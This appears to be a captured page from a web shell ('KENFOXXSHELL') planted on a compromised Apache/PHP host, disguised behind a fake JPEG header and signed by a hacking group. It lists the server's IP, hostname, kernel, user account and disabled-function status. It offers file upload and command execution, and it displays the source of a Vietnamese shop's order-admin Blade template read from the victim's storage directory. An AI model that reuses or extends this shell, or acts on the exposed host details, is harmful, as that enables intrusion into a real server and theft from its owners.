JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/storage/framework/views/60fd56747070e4ea797cbbfb96d996fd52db1ebf.php
<?php $__env->startSection('content'); ?>
<?php $__env->startSection('controller','Orders List'); ?>
<?php $__env->startSection('action','List'); ?>
<script type="text/javascript" src="//cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script>
<!-- <link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap/3/css/bootstrap.css" /> -->
 
<!-- Include Date Range Picker -->
<script type="text/javascript" src="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.js"></script>
<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />
<!-- Content Header (Page header) -->
<script type="text/javascript">
  $(document).ready(function() {
    $("#chonhet").click(function(){
      var status=this.checked;
      $("input[name='chon']").each(function(){this.checked=status;})
    });
    
    $("#xoahet").click(function(){
      var listid="";
      $("input[name='chon']").each(function(){
        if (this.checked) listid = listid+","+this.value;
        })
      listid=listid.substr(1);   //alert(listid);
      if (listid=="") { alert("Bạn chưa chọn mục nào"); return false;}
      hoi= confirm("Bạn có chắc chắn muốn xóa?");
      if (hoi==true) document.location = homeUrl()+"/admin/orders/"+listid+"/delete_list";
    });
  });
</script>
<section class="content-header">
  <h1>
    <?php echo $__env->yieldContent('controller'); ?>
    <small><?php echo $__env->yieldContent('action'); ?></small>
  </h1>
  <ol class="breadcrumb">
    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>
    <li><a href="javascript:"><?php echo $__env->yieldContent('controller'); ?></a></li>
    <li class="active"><?php echo $__env->yieldContent('action'); ?></li>
  </ol>
</section>
<!-- Main content -->
<section class="content">
  <div class="row">
    <div class="col-xs-12">
      <div class="box">
        <?php if(session('status')): ?>
        <div class="box-header">
            <h3 class="box-title alert_thongbao text-green"><?php echo e(session('status')); ?></h3>
        </div>
        <?php endif; ?>
        <!--<div class="box-header">
          <h3 class="box-title">Data Table With Full Features</h3>
        </div>-->
        <div class="box-body">
          <div class="row">
            <form class="form-group d-flex align-items-center h-100 search-frm" name="search_header" method="get" action="<?php echo url('admin/orders/search'); ?>">
              <div class="col-md-2 col-sm-2 col-xs-6">
                <div class="form-group">
                    <label for="thongke">Chọn kiểu lọc</label>
                    <select name="kieuloc" class="form-control">
                      <option value="1">Theo tên hoặc mã</option>
                      <option value="2">Theo ngày</option>
                      <option value="4">Thanh toán thường</option>
                      <option value="5">Thanh toán ngân lượng</option>
                      <option value="3">Tất cả</option>
                    </select>
                </div>
              </div>
              <div class="col-md-3 col-sm-3 col-xs-6">
                <div class="form-group">
                    <label for="thongke">Lọc theo ngày</label>
                    <input type="text" id="daterange" value="" width="300" class="form-control input_date" />
                    <input type="hidden" name="startDate" value="">
                    <input type="hidden" name="endDate" value="">
                    <script type="text/javascript">
                      $(function() {
                          //$('input[name="daterange"]').daterangepicker();
                          $("#daterange").daterangepicker();
                          $('#daterange').on('apply.daterangepicker', function(ev, picker) {
                            console.log(picker.startDate.format('YYYY-MM-DD'));
                            console.log(picker.endDate.format('YYYY-MM-DD'));
                            //alert(picker.startDate.format('YYYY-MM-DD'));
                            $('input[name="startDate"]').val(picker.startDate.format('YYYY-MM-DD'));
                            $('input[name="endDate"]').val(picker.endDate.format('YYYY-MM-DD'));
                          });
                      });
                    </script>
                </div>
              </div>

              <div class="input_search col-md-3 col-sm-3 col-xs-6">
                  <label for="thongke">Nhập tên hoặc mã đơn hàng</label>
                  <input style="width: 75%;float: left;" name="keyword" id="keyword" type="text" placeholder="Nhập họ tên hoặc mã đơn hàng" class="form-control" value="">
                  <span class="input-group-btn">
                    <button class="btn btn-info btn-flat" type="submit">Search</button>
                  </span>
              </div>
            </form>
          </div>
          <table id="example2" class="table table-bordered table-hover">
            <thead>
              <tr>
                <th style="width: 20px;"><input type="checkbox" name="chonhet" class="minimal" id="chonhet" /></th>
                <th class="text-center with_dieuhuong">Stt</th>
                <th>Mã đơn hàng</th>
                <th>Họ tên</th>
                <th>Ngày tạo</th>
                <th>Tình trạng</th>
                <th class="text-center with_dieuhuong">Sửa</th>
                <th class="text-center with_dieuhuong">Xóa</th>
              </tr>
            </thead>
            <tbody>
              <?php $tongdonhang=0; ?>
              <?php $__currentLoopData = $data; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $k=>$item): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
              <?php $tongdonhang+=$item->total; ?>
              <tr>
                <td><input type="checkbox" name="chon" id="chon" value="<?php echo e($item->id); ?>" class="chon" /></td>
                <td class="text-center with_dieuhuong"><?php echo e($k+1); ?></td>
                <td><?php echo e($item->code); ?></td>
                <td><?php echo e($item->name); ?></td>
                <td><?php echo e($item->created_at); ?></td>
                <td>
                  <?php if($item->status==1){ 
                    echo 'Mới đặt';
                    } elseif($item->status==2){
                      echo 'Chờ xử lý';  
                    }elseif($item->status==3){
                      echo 'Đang giao';  
                    }
                    elseif($item->status==4){
                      echo 'Đã xử lý xong';  
                    }
                 
                 ?>
                </td>
                <!-- <td class="text-center with_dieuhuong">
                  <?php if($item->status>0): ?>
                    <a href="admin/orders/edit?id=<?php echo e($item->id); ?>&hienthi=<?php echo e(time()); ?>" class="btn btn-primary btn-xs"><i class="fa fa-eye"></i> Bật</a>
                  <?php else: ?>
                    <a href="admin/orders/edit?id=<?php echo e($item->id); ?>&hienthi=<?php echo e(time()); ?>" class="btn btn-danger btn-xs"><i class="fa fa-eye"></i> Tắt</a>
                  <?php endif; ?>
                </td> -->
                <td class="text-center with_dieuhuong">
                  <i class="fa fa-pencil fa-fw"></i><a href="admin/orders/edit?id=<?php echo e($item->id); ?>">Edit</a>
                </td>
                <td class="text-center">
                  <i class="fa fa-trash-o fa-fw"></i><a onClick="if(!confirm('Xác nhận xóa')) return false;" href="admin/orders/<?php echo e($item->id); ?>/delete">Delete</a>
                </td>
              </tr>
              <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            </tbody>
          </table>
        </div><!-- /.box-body -->
        <div class="box-footer col-md-12">
          <div class="col-md-6 col-xs-12">
            <!-- <input type="button" onclick="javascript:window.location='admin/orders/add'" value="Thêm" class="btn btn-primary" /> -->
            <button type="button" id="xoahet" class="btn btn-success">Xóa</button>
            <input type="button" value="Thoát" onclick="javascript:window.location='admin'" class="btn btn-danger" />

          </div>
          <div class="col-md-6 col-xs-12">
            <label>Tổng giá trị các đơn hàng:</label> <a href="javascript:"><?php echo e(number_format($tongdonhang,0,",",".")); ?></a> VNĐ
          </div>
        </div>
      </div><!-- /.box -->
    </div><!-- /.col -->
  </div><!-- /.row -->
</section><!-- /.content -->

<?php $__env->stopSection(); ?>

<?php echo $__env->make('admin.master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Anon7 - 2022
AnonSec Team